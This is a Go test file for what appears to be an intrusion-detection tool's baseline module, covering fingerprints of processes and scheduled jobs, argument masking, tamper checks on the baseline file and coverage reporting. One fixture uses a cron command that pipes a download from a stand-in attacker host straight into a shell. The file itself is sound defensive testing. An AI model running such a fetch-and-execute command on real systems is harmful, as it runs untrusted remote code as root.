Files
privatae-bastion/client-go/baseline_test.go
T
Privatae e4c9b69b46
ci / personal-data (push) Successful in 5s
ci / test (push) Successful in 3m4s
ci / fuzz (push) Successful in 3m45s
bastion 0.53.2
2026-10-20 04:42:14 +00:00

479 lines
20 KiB
Go

package main
// The baseline's job is one comparison: "have I seen this before?" These tests
// are the two ways that comparison fails, because they fail in opposite
// directions and a fix for one is the cause of the other.
//
// TOO LOOSE a swapped binary reads as the same program — the detection
// story's central claim quietly stops being true.
// TOO TIGHT every service restart reads as something new — the finding list
// fills with noise and nobody reads the real one.
import (
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
// ── too loose ───────────────────────────────────────────────────────────────
// A DIFFERENT BINARY AT THE SAME PATH IS NOT THE SAME PROGRAM. This is the
// attack the digest is in the fingerprint for: drop something new at
// /usr/bin/node and a path-keyed baseline says "seen it".
func TestASwappedBinaryIsNotTheSameEntry(t *testing.T) {
const user, unit, shape = "user", "service", "node server.js"
before := baselineFP("process", "aaaaaaaaaaaa", user, unit, shape)
after := baselineFP("process", "bbbbbbbbbbbb", user, unit, shape)
if before == after {
t.Fatal("the same path with different CONTENT produced the same fingerprint. " +
"A path is a name anything can be moved to; the digest is the only field " +
"here that changes when the program does.")
}
}
// The same binary run by a different user is a different fact about this
// machine — collapsing them hides a privilege step.
func TestTheSameBinaryUnderADifferentUserIsADifferentEntry(t *testing.T) {
a := baselineFP("process", "aaaa", "user", "service", "x")
b := baselineFP("process", "aaaa", "root", "service", "x")
if a == b {
t.Error("the same program as user and as root fingerprinted identically, so a " +
"process that gained root would read as already-known")
}
}
// A flag that changes what a program DOES survives the masking. This is the
// balance point of the whole file: mask too much and this is what is lost.
func TestANewFlagIsNotMaskedAway(t *testing.T) {
// SAME NUMBER OF ARGUMENTS, different meaning. The first version of this
// test compared one flag against two, so a mutation that masked every flag
// to "<flag>" still produced different shapes and the test passed — it was
// measuring the argument COUNT, not whether the argument survived. Two
// flags either side is the assertion that cannot pass that way.
harmless := baselineArgvShape("/usr/bin/chrome --headless --disable-gpu")
loaded := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/x")
if harmless == loaded {
t.Errorf("--load-extension was masked away: %q == %q. The masking exists for "+
"values that change between runs of the same program, never for arguments "+
"that change what it does.", harmless, loaded)
}
// And the value it carries is part of the shape: a different extension is a
// different program, even though both are --load-extension.
other := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/y")
if other == loaded {
t.Errorf("two different extensions produced the same shape: %q", other)
}
}
// ── too tight ───────────────────────────────────────────────────────────────
// A RESTART IS THE SAME ENTRY. Ports, pids, temp paths and request ids all
// change when a service bounces; if any of them reached the fingerprint, every
// restart on the box would be a finding.
func TestARestartWithVolatileArgumentsIsTheSameEntry(t *testing.T) {
for _, c := range []struct{ name, a, b string }{
{"a port", "worker --port 41551", "worker --port 52233"},
{"a pid", "helper --parent 8123", "helper --parent 9471"},
{"a temp path", "svc --sock /tmp/abc123/s.sock", "svc --sock /tmp/zzz999/s.sock"},
{"a request id", "job --id 4f3a9b2c8e1d", "job --id 99aa77bb55cc"},
{"a uuid", "svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301",
"svc --run 7c9e6679-7425-40de-944b-e07fc1f90ae7"},
} {
t.Run(c.name, func(t *testing.T) {
if got, want := baselineArgvShape(c.a), baselineArgvShape(c.b); got != want {
t.Errorf("%s made a restart look like a new program:\n %q\n %q",
c.name, got, want)
}
})
}
}
// The masking must not depend on the order the patterns happen to run in. A
// UUID is made of hex runs, so hex-first would eat it piecemeal and produce a
// different shape for the same string.
func TestAUUIDIsMaskedWholeAndNotInPieces(t *testing.T) {
got := baselineArgvShape("svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301")
if !strings.Contains(got, "<uuid>") {
t.Errorf("a uuid was not masked as one thing: %q", got)
}
if strings.Contains(got, "<hex>") {
t.Errorf("a uuid was eaten in pieces by the hex rule: %q — the order in "+
"baselineArgvShape is load-bearing", got)
}
}
// Four workers of one service are ONE fact about this machine. A baseline that
// records a row per pid grows on every restart and is worthless by the week.
func TestIdenticalProcessesCollapseToOneEntry(t *testing.T) {
obs := []agentObs{
{PID: 1, User: "user", Cmdline: "worker --port 3001", Origin: "service"},
{PID: 2, User: "user", Cmdline: "worker --port 3002", Origin: "service"},
{PID: 3, User: "user", Cmdline: "worker --port 3003", Origin: "service"},
}
got, _ := baselineFromObservations(obs, baselineExeDigest)
if len(got) != 1 {
t.Errorf("three workers of one service produced %d entries, want 1", len(got))
}
}
// ── what it could not see ───────────────────────────────────────────────────
// AN UNREADABLE EXECUTABLE IS COUNTED AND EXPLAINED, never silently dropped.
// A baseline taken without administrator rights is a smaller truth than one
// taken with them, and the number is how a reader knows which they hold.
func TestWhatCouldNotBeReadIsCountedAndSaysWhy(t *testing.T) {
obs := []agentObs{
{PID: 1, User: "user", Exe: "", Cmdline: "something"},
{PID: 2, User: "user", Exe: "/no/such/file", Cmdline: "other"},
}
got, unreadable := baselineFromObservations(obs, baselineExeDigest)
if unreadable != 2 {
t.Errorf("unreadable = %d, want 2", unreadable)
}
for _, e := range got {
if e.ExeDigest != "" {
t.Errorf("%s got a digest from a file that cannot be read", e.FP)
}
if e.DigestNote == "" {
t.Errorf("%s has no digest and does not say why. An empty digest with no "+
"reason reads as 'nothing to see'; it is usually 'this box could not "+
"look', which is a different fact.", e.FP)
}
}
}
// A real file gets a real digest, so the test above is not passing because
// nothing can ever be hashed.
func TestAReadableExecutableIsActuallyHashed(t *testing.T) {
p := filepath.Join(t.TempDir(), "prog")
if err := os.WriteFile(p, []byte("#!/bin/sh\necho hi\n"), 0o755); err != nil {
t.Fatal(err)
}
d, note := baselineExeDigest(p)
if d == "" {
t.Fatalf("a readable regular file produced no digest: %s", note)
}
if len(d) != 64 {
t.Errorf("digest is %d chars, want a 64-char sha256", len(d))
}
// And the digest is of the CONTENT: change one byte, get a different answer.
if err := os.WriteFile(p, []byte("#!/bin/sh\necho ho\n"), 0o755); err != nil {
t.Fatal(err)
}
d2, _ := baselineExeDigest(p)
if d2 == d {
t.Error("editing the file did not change its digest")
}
}
// ── the file on disk ────────────────────────────────────────────────────────
// A baseline edited on disk must not read as the one that was taken.
func TestAnEditedBaselineNoLongerMatchesItsOwnDigest(t *testing.T) {
uiTestConfigDir(t)
f := baselineFile{
Version: baselineVersion, TakenAt: "2026-09-14T00:00:00Z",
Entries: []baselineEntry{{FP: "abc", Kind: "process", User: "user"}},
}
if err := baselineSave(f); err != nil {
t.Fatal(err)
}
got, ok, err := baselineLoad()
if err != nil {
t.Fatal(err)
}
if !ok {
t.Fatal("a baseline this test just wrote does not match its own digest")
}
if len(got.Entries) != 1 {
t.Fatalf("entries = %d, want 1", len(got.Entries))
}
// Now edit it the way somebody covering their tracks would: add an entry,
// so a new process reads as baseline.
p, err := baselinePath()
if err != nil {
t.Fatal(err)
}
b, err := os.ReadFile(p)
if err != nil {
t.Fatal(err)
}
edited := strings.Replace(string(b), `"fp": "abc"`, `"fp": "abc-tampered"`, 1)
if edited == string(b) {
t.Fatal("the fixture did not change, so this test proves nothing about editing")
}
if err := os.WriteFile(p, []byte(edited), 0o600); err != nil {
t.Fatal(err)
}
got, ok, err = baselineLoad()
if err != nil {
t.Fatal(err)
}
if ok {
t.Error("an edited baseline still matched its digest")
}
// And it is still READABLE: the caller needs to say "this was edited" and
// show what it says, which is more use than refusing to open it.
if got == nil || len(got.Entries) != 1 {
t.Error("an edited baseline could not be read at all, so nothing can report " +
"what it was changed to")
}
}
// The baseline file holds the names of every automated program on the machine,
// its user and its command line. Same permissions as every other record here.
func TestTheBaselineIsWrittenPrivate(t *testing.T) {
uiTestConfigDir(t)
if err := baselineSave(baselineFile{Version: baselineVersion}); err != nil {
t.Fatal(err)
}
p, err := baselinePath()
if err != nil {
t.Fatal(err)
}
fi, err := os.Stat(p)
if err != nil {
t.Fatal(err)
}
if runtime.GOOS == "windows" {
t.Skip("unix permission bits do not carry the same meaning here")
}
if got := fi.Mode().Perm(); got != 0o600 {
t.Errorf("baseline.json is %o, want 600 — it names every automated program on "+
"this machine, its user and its command line", got)
}
}
// ── standing jobs are part of what is normal ────────────────────────────────
// A CRON JOB ADDED AFTER THE BASELINE MUST BE SOMETHING THE DELTA CAN SEE.
// The accounting is meant to hold standing jobs, and baselineEntry.Kind has always
// documented `process | scheduler | listener`, while only processes were
// recorded — so scheduled work was outside the vocabulary the delta compares
// against, invisible to the thing built to notice new work.
func TestScheduledJobsAreInTheBaseline(t *testing.T) {
got := baselineFromSchedulers([]schedEntry{
{Kind: "cron", Name: "/etc/cron.d/backup:3", Command: "/usr/bin/backup --to /tmp/x99",
User: "root", Signature: "backup"},
{Kind: "systemd-timer", Name: "sweep.timer", Command: "/usr/bin/sweep", User: "user"},
})
if len(got) != 2 {
t.Fatalf("%d scheduler entries, want 2", len(got))
}
for _, e := range got {
if e.Kind != "scheduler" {
t.Errorf("entry kind %q, want scheduler", e.Kind)
}
if e.FP == "" {
t.Error("a scheduler entry with no fingerprint cannot be compared against")
}
if e.ExeDigest != "" {
t.Error("a scheduled job was given an executable digest; it has not run yet")
}
if e.DigestNote == "" {
t.Error("no digest and no reason — reads as 'nothing to see'")
}
}
}
// A scheduler fingerprint keys on WHAT IT WOULD RUN, so a volatile path in the
// command does not make the same job look new.
func TestARescheduledJobIsTheSameEntryButAChangedCommandIsNot(t *testing.T) {
one := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/backup --to /tmp/abc123", User: "root"}})
two := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/backup --to /tmp/zzz999", User: "root"}})
if one[0].FP != two[0].FP {
t.Error("a volatile temp path made the same scheduled job look like a new one")
}
// The SCHEDULE is deliberately not in the fingerprint: changing when a
// known job runs is a different event from a new job appearing.
sched := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/backup --to /tmp/abc123", User: "root", Schedule: "0 4 * * *"}})
if sched[0].FP != one[0].FP {
t.Error("changing the schedule produced a new fingerprint, so a re-timed job " +
"would read as a new one")
}
// A different COMMAND is a different job.
other := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
Command: "/usr/bin/curl evil.example | sh", User: "root"}})
if other[0].FP == one[0].FP {
t.Error("a completely different command fingerprinted the same as the original")
}
}
// THE OWNING UNIT IS USED WHEN THE PLATFORM SUPPLIES ONE. Two services both
// reading "service" are told apart only by digest and argv; the unit is what
// makes them distinct facts about the machine.
func TestTwoServicesWithDifferentUnitsAreDifferentEntries(t *testing.T) {
a := []agentObs{{PID: 1, User: "root", Cmdline: "python3 worker.py",
Origin: "service", Unit: "alpha.service"}}
b := []agentObs{{PID: 2, User: "root", Cmdline: "python3 worker.py",
Origin: "service", Unit: "beta.service"}}
ea, _ := baselineFromObservations(a, baselineExeDigest)
eb, _ := baselineFromObservations(b, baselineExeDigest)
if ea[0].FP == eb[0].FP {
t.Error("two different systemd units running the same command fingerprinted " +
"identically — the unit is what tells services apart")
}
if ea[0].Unit != "alpha.service" {
t.Errorf("the entry recorded unit %q, not the real one", ea[0].Unit)
}
// And with no unit it falls back to the origin, named rather than blank.
none, _ := baselineFromObservations([]agentObs{{PID: 3, User: "root",
Cmdline: "python3 worker.py", Origin: "service"}}, baselineExeDigest)
if none[0].Unit != "service" {
t.Errorf("with no unit the entry recorded %q, want the origin as the fallback",
none[0].Unit)
}
}
// ── the baseline holds EVERYTHING, or says it does not ──────────────────────
// A BASELINE BUILT FROM THE SIGNATURE-FILTERED PLANE CANNOT WORK, and this is
// the test that says so in numbers rather than in a comment.
//
// scanAgents returns a known agent binary, an interpreter-wrapped agent, or a
// process caught talking to a model (agents.go:248-252). A baseline of only
// those contains nothing a rogue process could fail to match, so "not baseline"
// stops meaning anything. Measured on this box when the defect was found: the
// filtered plane gave 1 entry and the unfiltered walk gives 118.
func TestTheBaselineCoversMoreThanTheRecognisedAgents(t *testing.T) {
all, complete := baselineAllProcesses()
if !complete {
t.Skip("this platform has no unfiltered walk yet; cmdObserveBaseline says so in " +
"its output and the file records coverage=recognised-only")
}
recognised, err := scanAgents()
if err != nil {
t.Fatal(err)
}
// THE WIRING, not just the two sources. A mutation that pointed the baseline
// back at the filtered plane passed the comparison below, because nothing
// exercised which one collectBaseline actually uses.
f, _, _, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
if !strings.Contains(f.Coverage, "processes=all") {
t.Errorf("the baseline reports coverage %q on a platform that HAS an unfiltered "+
"walk — it is being built from the filtered plane", f.Coverage)
}
if len(f.Entries) <= len(recognised) {
t.Errorf("the baseline holds %d entries and the filtered plane sees %d. The "+
"baseline is being built from the wrong source.", len(f.Entries), len(recognised))
}
if len(all) <= len(recognised) {
t.Fatalf("the unfiltered walk found %d processes and the signature-filtered "+
"plane found %d. If those are the same, the baseline can only ever contain "+
"things already recognised as agents — and a brand-new unknown binary, the "+
"thing this feature exists to catch, would be absent from the baseline AND "+
"from every delta computed against it.", len(all), len(recognised))
}
// And the unrecognised ones are really in there, with no signature — the
// classification is a property, never a condition for being recorded.
unsigned := 0
for _, a := range all {
if a.Signature == "" {
unsigned++
}
}
if unsigned == 0 {
t.Error("every process in the unfiltered walk carries a signature, so this is " +
"still the filtered plane wearing a different name")
}
t.Logf("%d processes, %d of them unrecognised; the filtered plane sees %d",
len(all), unsigned, len(recognised))
}
// The file SAYS which truth it holds, because a delta against a recognised-only
// baseline can only ever notice recognised things.
func TestTheBaselineRecordsItsOwnCoverage(t *testing.T) {
// EVERY HALF, separately. One word said "all-processes" while the
// scheduler half was recognised-only, which told a reader the opposite of
// the truth about the half that matters for persistence. The listener and
// identity halves report `unsupported` rather than
// `recognised-only` — a reader that did not look at all is a different fact
// from one that looked and saw a subset.
if got := baselineCoverage(true, true, true, true); got !=
"processes=all,schedulers=all,listeners=all,identities=login-shells" {
t.Errorf("coverage(all) = %q", got)
}
if got := baselineCoverage(true, false, true, true); got !=
"processes=all,schedulers=recognised-only,listeners=all,identities=login-shells" {
t.Errorf("a recognised-only scheduler half is not reported: %q", got)
}
if got := baselineCoverage(false, false, false, false); got !=
"processes=recognised-only,schedulers=recognised-only,listeners=unsupported,identities=unsupported" {
t.Errorf("coverage(partial) = %q", got)
}
// A BLIND HALF MUST NOT READ AS AN EMPTY ONE — the distinction the whole
// class guard rests on.
if baselineHasClass(baselineCoverage(true, true, false, false), "listeners") {
t.Error("an unsupported listener half reads as covered, so a delta would " +
"report every listener on the box as new")
}
if !baselineHasClass(baselineCoverage(true, true, true, true), "identities") {
t.Error("a covered identity half reads as unsupported, so identities would never be compared")
}
// A baseline written before either class existed says nothing about them,
// and that must read as "not looked at" rather than as "covered".
if baselineHasClass("processes=all,schedulers=all", "listeners") {
t.Error("a coverage line from before the listener class reads as covering listeners")
}
uiTestConfigDir(t)
if err := baselineSave(baselineFile{Version: baselineVersion,
Coverage: "processes=all,schedulers=all"}); err != nil {
t.Fatal(err)
}
f, ok, err := baselineLoad()
if err != nil || !ok {
t.Fatalf("load: %v ok=%v", err, ok)
}
if f.Coverage != "processes=all,schedulers=all" {
t.Errorf("coverage did not survive a round trip: %q", f.Coverage)
}
}
// THE SCHEDULER HALF, WIRED. The scheduler tests fed synthetic entries into
// baselineFromSchedulers, so nothing held WHICH LIST collectBaseline consumes —
// the same wiring-vs-source gap that let a mutation fool the process test.
// Measured when this was found: the plane discovered 68 standing jobs and 0
// survived the signature filter, so the baseline recorded "0 scheduled jobs"
// while 68 existed.
func TestTheBaselineTakesEverySchedulerNotOnlyRecognisedOnes(t *testing.T) {
raw, _, supported := platformSchedulers()
if !supported || len(raw) == 0 {
t.Skip("this box exposes no standing jobs to compare against")
}
filtered, _ := scanSchedulers()
if len(raw) == len(filtered) {
t.Skip("every standing job here is recognised, so the two lists cannot be told apart")
}
f, _, schedCount, _, err := collectBaseline()
if err != nil {
t.Fatal(err)
}
if schedCount <= len(filtered) {
t.Errorf("collectBaseline took %d standing jobs; the signature-filtered list has "+
"%d and the real inventory has %d. A cron job running an unrecognised "+
"command is the canonical persistence move, and a baseline that omits it "+
"has nothing for the delta to compare against.", schedCount, len(filtered), len(raw))
}
got := 0
for _, e := range f.Entries {
if e.Kind == "scheduler" {
got++
}
}
if got <= len(filtered) {
t.Errorf("the baseline holds %d scheduler entries, the filtered list has %d", got, len(filtered))
}
}